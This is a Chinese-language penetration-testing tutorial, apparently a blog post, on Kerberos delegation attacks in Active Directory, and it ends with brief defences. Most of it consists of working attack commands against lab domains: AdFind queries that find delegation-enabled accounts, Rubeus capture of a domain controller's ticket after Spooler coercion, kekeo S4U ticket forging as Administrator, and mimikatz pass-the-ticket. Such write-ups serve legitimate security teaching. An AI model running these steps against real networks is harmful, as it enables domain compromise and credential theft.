前言

​ 域委派是大型网络中经常部署的应用模式,给多跳认证带来很大的便利,同时也带来很大的安全隐患,利用 委派可获取域管理员权限,甚至制作深度隐藏的后门域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

域委派的基本过程

​ 委派(Delegation)是kerberos相对于NTLM认证独有的特性,指的是A可以让B“代理”自己去访问C服务,说是代理,也可以理解为“假冒”

​ 具体为:域中A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,因为用的是A的身份,所以只有A有权限访问C的时候,委派才能成功。

非约束性委派(Unconstrained delegation)

原理

​ 我们上面说了域委派的基本过程,对于非约束性委派来说,即无限制的转发,B可以用从A处得到的TGT访问任意服务,其中B也可以是任意服务。

注意:

这里的委派的账户必须是”服务账户”或者”机器账户”。

实际场景中的利用(非约束委派+Spooler打印机)

​ 根据上面的原理我们知道,要想实现非约束性委派,必须让域用户访问我们启用了”非约束委派”的机器。但实战这种情况几乎不可能。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接:

1
利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

这里的查找主要是分为用户账户和服务账户,我这里使用的是ADfind,还可以使用Powerview,或者ladpserach

查找域中配置非约束委派的用户:

1
adfind.exe -h 172.23.119.119 -u klion\xuefeng.wang -up wxf123!@#45 -b "DC=klion,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机:

1
adfind.exe -h 172.23.119.119 -u klion\xuefeng.wang -up wxf123!@#45 -b "DC=klion,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

或者使用powerView脚本:

这里的就以红框里的OA机器来测试,假设我们这里已经通过其他手段拿到了OA这台机器的权限。

Print Spooler服务默认是自动运行的

首先,在 OA 机器上监控登录,并实时转存 TGT, 注,此操作需要本地管理权限

1
Rubeus.exe monitor /interval:1 /filteruser:dc01$

向DM2012的Spooler服务发送请求,强制其访问win10进行身份验证

OA上此时成功收到TGT,并转存TGT

然后通过PTT,既可以远程同步域控ntds

约束性委派

原理

​ 微软自2003之后引入”约束委派”,其中包括kerberos协议的两个扩展,S4USelf,S4U2Proxy,当某个域内机器配置了约束委派,那么该机器即可接受域内任意用户的委派去请求域内的指定服务。

大概流程:

  • 当收到来自域用户的请求后,service1使用S4U2SELF协议代表用户去请求一个可以访问Service1自身的可转发的服务票据1。

  • Service1通过服务票据用S4UProxy协议以该用户身份向KDC请求一个可以访问Service2的可转发的

    服务票据2

  • Service1在收到这个服务票据即可代表该用户去访问Service2。

注意区分这里的票据1和票据2:

  • 第一个票据表示域控授权 Service1 可以代表指定用户来访问 Service1
  • 第二个票据代表域控授权 service1 代表指定用户来访问 service2,
与非约束性委派的区别

实际利用

我们可以在域控的Active Directory 用户和计算机的用户组中进行配置:

约束委派的利用前提是我们已经拿到了设置约束委派的机器权限。

之后我们可以使用adfind、powerview之类的工具查找设置约束委派的用户账户和机器账户:

1
AdFind.exe -h 172.23.119.27 -u k01\sqladm -up admin!@#45 -b "DC=k01,DC=local" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo

之后我们可以使用kekeo先生成TGT:

https://github.com/gentilkiwi/kekeo

Kekeo是一个强大的票据传递工具 :

  • 能够从用户的哈希 (rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1)请求票证授予票证(TGT) ,并将请求的 TGT 应用于当前登录会话。 这为 Mimikatz 的”over-pass-the-hash” 提供了一个替代方案,该方案不操作 LSASS 的内存,也不需要管理特权
  • 从现有的 TGT 请求服务票证的能力
  • 我所知道的除了 Impacket 之外唯一实现S4U 约束委派滥用(包括 sname 替换)的工具。
1
kekeo.exe "tgt::ask /user:SECRETARY-PC$ /domain:k01.local /NTLM:7b31c1ea95144617cc21861d5ba4c8ea" "exit"

这里使用本地的ntlmhash 来生成访问 Service1的票据1

然后,伪造域管模拟 S4U 协议去请求转存服务票据2:

1
kekeo.exe "tgs::s4u /tgt:TGT_SECRETARY-PC$@K01.LOCAL_krbtgt~k01.local@K01.LOCAL.kirbi /user:Administrator@k01.local /service:cifs/POLICE-PC.k01.local" "exit"

之后我们可以mimikat来实现PTT,就能获得远程 Police-Pc 机器的权限

1
mimikatz.exe "kerberos::ptt TGS_Administrator@k01.local@K01.LOCAL_cifs~POLICE-PC.k01.local@K01.LOCAL.kirbi" "exit"

委派攻击的防御

  • 不要在域中使用非约束委派功能
  • 域中不需要使用委派的账户设置为“敏感用户不能被委派”
  • win2012的系统可以通过设置受保护的用户组来缓解委派所带来的危害